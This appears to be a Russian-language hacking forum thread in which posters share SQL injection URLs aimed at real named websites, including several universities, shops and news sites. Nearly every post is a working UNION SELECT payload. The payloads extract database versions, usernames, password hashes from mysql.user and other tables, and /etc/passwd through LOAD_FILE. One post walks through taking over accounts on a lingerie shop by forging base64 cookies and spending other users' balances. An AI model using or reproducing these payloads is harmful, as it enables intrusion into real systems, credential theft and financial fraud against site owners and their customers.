Ув. господа требуются добровольцы для апгрейта антибояна. С 300 по 323 стр. Желающие добро пожаловать в осику 480596. Спасибо
Code: http://gamers.eurogamer.net/giveaways.php?id=-8 UNION SELECT 1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(' ',VERSION(),DATABASE(),USER()),'1'),'1'),4,5,6,7,8,9,10,11/* 4.1.13-standard-log : eurogamer : [email protected]
Code: http://www.hamo.es/es/news.php?id=-2+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.columns/*
thinkpackaging.com Провайдер, регистрирует доменные имена и предоставляет хостинг =) п.с. хотел найти что-нибудь подходящее, дорого ибо =) Code: http://www.thinkpackaging.com/view_company.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,version(),22,23,24+from+company/*
код: http://goroskop.a.org.ua/?id=-12+union+select+1,2,CAST(concat_ws(0x3a,version(),user(),database())+AS+BINARY),4/*
Code: http://www.endiama.co.ao/news.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encr ypt (version(),0x 71),0x71)/* Code: http://www.endiama.co.ao/news.php?id=-1+union+selec t+1,2,p assword,4,5+from+users/* Code: http://newwebstudio.com/bg/Services.php?id=-1+union+select+1,2,AES_DECRY PT(AES_ENCRYPT(VE RSION(),0x71),0x71),4,5/* Code: http://www.garantovany-dodavatel.com/www/forum_read.php?id=-1+union+select+1,2,3,4 ,concat (user(),0x3a,version(),0x 3a,database()),6/*
источник: http://www.xakep.ru/post/40386/default.asp ------------------------------------ ActiveKB Knowledgebase 2.x ------------------------------------ Code: http://[COLOR=Blue]support.lexiconn.com[/COLOR]/kb/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(%200x2f6574632f706173737764),3,4,5,6,7+members/* Code: http://[COLOR=SandyBrown]www.randomhouse.com[/COLOR]/about/faq/index.php?ToDo=browse&catId=-20+union+select+1,password,user,4,5,6,7%20from%20mysql.user/* Code: http://www.[COLOR=Blue]booklounge.ca[/COLOR]/about/faq/index.php?ToDo=browse&catId=-10+union+select+1,password,user,4,5,6,7%20from%20mysql.user/* Code: http://[COLOR=DarkRed]olseninvest.com[/COLOR]/faq/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(%200x2f6574632f706173737764),3,4,5,6,7%20from%20mysql.user/* ---------------------------------- Code: http://[COLOR=Indigo]www.lcn.biz[/COLOR]/faq/index.php?ToDo=browse&catId=-10+union+select+1,user,password,4,5,6,7%20from%20mysql.user/* Code: http://[COLOR=Sienna]www.lcn.biz/[/COLOR]faq/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(0x2f6574632f706173737764),3,4,5,6,7%20from%20mysql.user/* ---------------------------------- Code: http://www.[COLOR=Purple]fastsurf.com[/COLOR]/faqs/index.php?ToDo=browse&catId=-10+union+select+1,password,username,4,5,6,7%20from%20user/*
http://www.jm-hohenems.at/index.php?id=-1+union+select+1,2,3,4,5,6,7,user,9+from+mysql.user--&lang=1'
Помучал гугль на edu сервера, вывод: Каждая пятая ссылка уязвима к SQL injection Из этих ссылок на каждой второй легко провести SQL injection bti.cornell.edu Code: http://bti.cornell.edu/page.php?id=111' OR 1=IF(SUBSTRING(VERSION(),1,1)=3,1,0)/* 3 версия мускуля gmu.edu Code: http://gmu.edu/cfa/calendar/eventlisting.php?id=-598' UNION SELECT 1,2,3,CONCAT_WS(':',VERSION(),USER(),DATABASE()),5,6,7,8,9,10,11,12,13,14,15,16,17/* 4.0.24_Debian-10sarge2-log[email protected]:centerarts www.bact.wisc.edu Code: http://www.bact.wisc.edu/GradStudies/facultyListing.php?id=-25 UNION SELECT 1,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),3,4,5,6,7,8,9,10,11/* 4.1.22-log : viewTables@localhost : bactsite wwwrsphysse.anu.edu.au (сразу на заметил что не edu сервер... и как раз пятая версия мускула ) Code: http://wwwrsphysse.anu.edu.au/nuclear/personnel.php?id=-50 UNION SELECT 1,2,3,4,5,6,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),8,9,10,11,12,13,14,15,16,17,18 5.0.22 : [email protected] : nucleus www.ns.umich.edu Code: http://www.ns.umich.edu/htdocs/releases/story.php?id=3125' Тут UPDATE genealogy.math.ndsu.nodak.edu Code: http://genealogy.math.ndsu.nodak.edu/id.php?id=18231' Не разобралсо www.salk.edu Code: http://www.salk.edu/faculty/faculty_details.php?id=-15' Вроде чето есть, не разобралсо qt.exploratorium.edu Code: http://qt.exploratorium.edu/cils/page.php?ID=15 UNION SELECT 1,2,3,4 /* У меня вывести ничего не получилось... stanfordphotonics.stanford.edu Code: http://stanfordphotonics.stanford.edu/calendar.event.php?id=53' При подборе столбцов с помощью GROUP BY 3 столбца а на UNION SELECT 1,2,3 выдает ошибку... ----------------------------------------------- Зы нашел в два раза больше чем тут, но половина оказалась баяном
код: http://pk.kiev.ua/i2index.php?id=-4'+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,id,login,name,email,pass),9,10,11,12,13,14+from+users+limit+0,1/* администрация предупреждена об уязвимости
Магазин эротичного белья Shirley.RU Сама скуль: Code: http://shirley.ru/cat.php?id=3+and+1=0+union+select+1,2/* Узнаем версию и юзверя: Code: http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,user(),version()),2/* shir@localhost:5.0.33 Узнаем имена таблиц: Code: http://shirley.ru/cat.php?id=3+and+1=0+union+select+table_name,2+from+INFORMATION_SCHEMA.tables+limit+16,1/* Интересные: shir_balance shir_cart_orders shir_cart_orderitems shir_cart_prod_assort shir_opt_users shir_session shir_users shir_users_new Узнаем имена столбцов: Code: http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,table_name,column_name),2+from+INFORMATION_SCHEMA.columns+where+table_name=0x736869725F7573657273+limit+0,1/* Интересное: uid uname pass email Выводим uid,uname,pass Code: http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,uid,uname,pass),2+from+shir_users+limit+0,1/* получаем идент:логин:мд5хэш Регаемся: Code: http://shirley.ru/user.php?name=new_user Заходим в свой акк, смотрим куки (они зашифрованы в base64). Декодируем и получаем идент:логин:md5хэш дэкодируем и вставляем чужие данные. Обновляем страницу и смотрим, что мы под дргим акком На многих акках есть баланс, при чем крупненький благодаря таблице shir_balance можно вывести балан и номер пользователя, а дальше сами думаем В общем заходим под акком и покупаем себе эротическое белье
http://www1.dontsova.ru/ Code: http://www1.dontsova.ru/view_news.php?id=-197'+union+select+1,2,3,4,5,user_pas sword,7,username,9,10,11,12, 13+from+phpbb_users+where+user_id=1+limit+1/* http://mayonez.com/ Code: http://mayonez.com/news.php?id=-22+union+select+1,2,VERSI ON(),4,5/*
http://www.srt.lv/lv/index.php?option=com_mambads&Itemid=0&func=detail&cacat=1&casb=1&caid=999/**/Union/**/select/**/1,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users/*
Code: http://www.communicationvalley.it/FilesProc/CryptoFileContent.php?id=-13+union+select+1,2,3,table_name,5,6,7+from+information_schema.tables+limit+2,1/* прикольный ответ от SQL сервера). Лимит в помощь) Code: http://www.lib.uwo.ca/news/view.php?id=-487'+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+23,1/* Code: http://www.lib.uwo.ca/news/view.php?id=-487'+union+select+1,username,3,4,5,6,7,8,9+from+users+limit+1,1/*
Раскрутите) Code: http://www.schleuderwelt.com/print.php?printpage='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
код: http://www.schleuderwelt.com/print.php?printpage=-9999999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat_ws(0x3a,version(),user(),database()),21,22,23,24,25,26,27/* Дальше сам ройся,я спать...
Секас Code: http://www.lovemagia.ru/product_show.php?lid= 7&sid=-20+union+s elect+1/* Версия - 4.0.26-log
